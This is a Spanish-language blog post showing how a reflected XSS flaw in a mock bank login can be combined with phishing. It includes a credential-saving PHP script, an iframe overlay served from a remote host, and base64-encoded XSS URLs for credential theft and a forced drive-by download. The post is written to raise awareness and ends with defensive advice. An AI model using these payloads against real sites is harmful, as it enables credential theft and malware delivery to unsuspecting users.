synawk

Phishing: Como saber si un sitio es realmente "seguro".

Actualmente los ataques de phishing se siguen dando; con un poco de html e ingeniería social, cualquiera puede hacer un ataque. Nos dicen siempre que verifiquemos que el dominio sea el correcto; pero.. ¿Es esto realmente cierto?

Esta publicación será rápida; ya que solo quería aportar dando cierta información con respecto al phishing hoy en día. Hace unas semanas leía algunas recomendaciones que algunos especialistas daban con respecto al phishing; y como no ser víctima de estos ataques. Entre las recomendaciones estaba la muy conocida validación de dominio.

fake google account

Pero, ¿Es realmente esta la mejor forma de evitar caer en phishing? Esta es la recomendación más relevante que rescato de entre otras como validar el https o el diseño del sitio web; sin embargo no es del todo infalible. Para explicarlo mejor haré un ejemplo sencillo.

Vamos a imaginar que tengo un sitio web de un banco.

sitio web banco phishing

En este ejemplo puedo pasar un parámetro dentro de la URL que finalmente es enviado como value al input username. Esto a simple vista me dice que existe una posible vulnerabilidad de XSS. Es precisamente esta técnica la que hace posible que ataques como el phishing sigan siendo relevantes hoy en día. Por ejemplo puedo reemplazar el contenido en su totalidad:

xss ataque

Ahora imagina que lo que buscas que obtener las credenciales de algún usuario. Sabiendo que este usuario es cuidadoso y trata de ingresar siempre revisando que el dominio sea el que corresponda. Un atacante podría modificar este XSS para mostrar un formulario exactamente igual a original; solo que apuntando a otro sitio.

Para realizar esto como atacante voy a crear 2 archivos. El primero será una copia exacta del sitio web; solo que esta vez el formulario estará apuntando a un archivo que guardará todos los datos que se le envíen. Algo como esto

...
 <form action="login.php" method="post"> <!-- El formulario hace post a login.php-->
    <div class="sign-in-htm">
        <div class="group">
            <label for="user" class="label">Username</label>
            <input name="user" id="user" type="text" value="synawk" class="input">
        </div>
        <div class="group">
  ....

Y el otro archivo va a tener lo que mencioné. Un código para almacenar todos los datos recibidos.

<?php

file_put_contents('creds.txt', file_get_contents('php://input'));

Todo esto lo debo tener en un servidor remoto.

fake site

A simple vista parece el original pero si te fijas en el dominio no es el mismo. Entonces para solucionar esto lo que un atacante puede hacer es aprovechar la vulnerabilidad de XSS e insertar un iframe reemplazando todo el contenido por ejemplo. Con un poco de conocimiento en HTML y js podría construir algo como esto:

document.write('<iframe style="position:fixed;left:0;top:0;z-index:999;\
    width:100%;border:0;height:100%" \
    src="http://192.168.1.25:8090/fake.php"></iframe><div style="display:none">');

Si te fijas en el código verás que se inserta un iframe dentro del HTML y con CSS hago que se posicione en toda la pantalla. Luego de hacerlo base64 y colocarlo como corresponde me quedaría algo como esto:

ataque xss phishing

El payload completo es:

http://fake-bank.com/?username=%22%3E%3Cimg%20src=0%20onerror=%27
eval(atob(%22ZG9jdW1lbnQud3JpdGUoJzxpZnJhbWUgc3R5bGU9InBvc2l0aW9uOmZpeGVkO2xlZnQ6M
Dt0b3A6MDt6LWluZGV4Ojk5OTt3aWR0aDoxMDAlO2JvcmRlcjowO2hlaWdodDoxMDAlIiBzcmM9Imh0dHA
6Ly8xOTIuMTY4LjEuMjU6ODA5MC9mYWtlLnBocCI%2BPC9pZnJhbWU%2BPGRpdiBzdHlsZT0iZGlzcGxhe
Tpub25lIj4nKQ%22))%27/%3E

Aquí ya esta un poco más complicado de detectarlo. Si te das cuenta puede parecer el login de siempre; sin embargo se trata en realidad del iframe que esta ocupando completamente la pantalla sobre la página real. Ahora si yo ingreso mis credenciales en este formulario se van a enviar a login.php (remotamente) y voy a capturar las credenciales del usuario.

credenciales xss phishing

A esto se le puede agregar muchas más cosas; como por ejemplo redireccionar a una página de error del sitio oficial, quizá ofuscar un poco más la URL y cosas así. El vector de ataque es ya muy conocido pero como técnica en conjunto no he encontrado mucho al respecto por eso me pareció importante mencionarlo.

Pero ahí no termina todo. Imagina que tu objetivo no es solo obtener credenciales si no hacer que el usuario (víctima) termine descargando un malware sin su consentimiento. Ya tenemos el XSS entonces necesitamos hacer que el usuario de alguna forma al ingresar a la URL comience la descarga del archivo. Sabemos que en Javascript podemos hacer algo como esto:

//
var a = document.createElement('a');
a.setAttribute('href',"https://the.earth.li/~sgtatham/putty/latest/w64/putty-64bit-0.76-installer.msi");
document.body.appendChild(a);
a.click();

Haciéndolo payload para el XSS quedaría algo así:


http://fake-bank.com/?username=%22%3E%3Cimg%20src=0%20onerror=%27eval(atob(%22dmFyIGEg
PSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdhJyk7CmEuc2V0QXR0cmlidXRlKCdocmVmJywiaHR0cHM6Ly90aG
UuZWFydGgubGkvfnNndGF0aGFtL3B1dHR5L2xhdGVzdC93NjQvcHV0dHktNjRiaXQtMC43Ni1pbnN0YWxsZXIu
bXNpIik7CmRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7CmEuY2xpY2soKTs%22))%27/%3E

phishing drive by download

Y puede variar según el navegador.

drive by download firefox

Conclusiones

Pues no hay mucho más que decir. Quise escribir esto porque usar XSS (o técnicas similares) como vector de ataque para phishing es algo de lo que no se menciona mucho. Y es que la simplicidad de hacer algo tan malicioso no puede ser algo que se deba ignorar; es necesario solo saber un poco de HTML y Javascript para poder realizar este tipo de ataques.

Me di el tiempo de escribir esto porque al día de hoy se sigue recomendando lo mismo acerca del phishing; que si revisar el dominio que si ver el https y demás cosas cuando en realidad nada de eso puede ser relevante. Obvio que mitiga muchos ataques conocer lo ya mencionado; es decir, al final son buenas prácticas de navegación. Por eso el único consejo que puedo dar respecto a esto es no ingreses a ningún enlace. Puede parecer ilógico; pero a lo que me refiero es que es mejor acceder haciendo una búsqueda en Google o directamente escribiendo la URL en el navegador que dar clic a una URL que te envían por mensaje o por correo. Y esto creo responde a la pregunta inicial. :)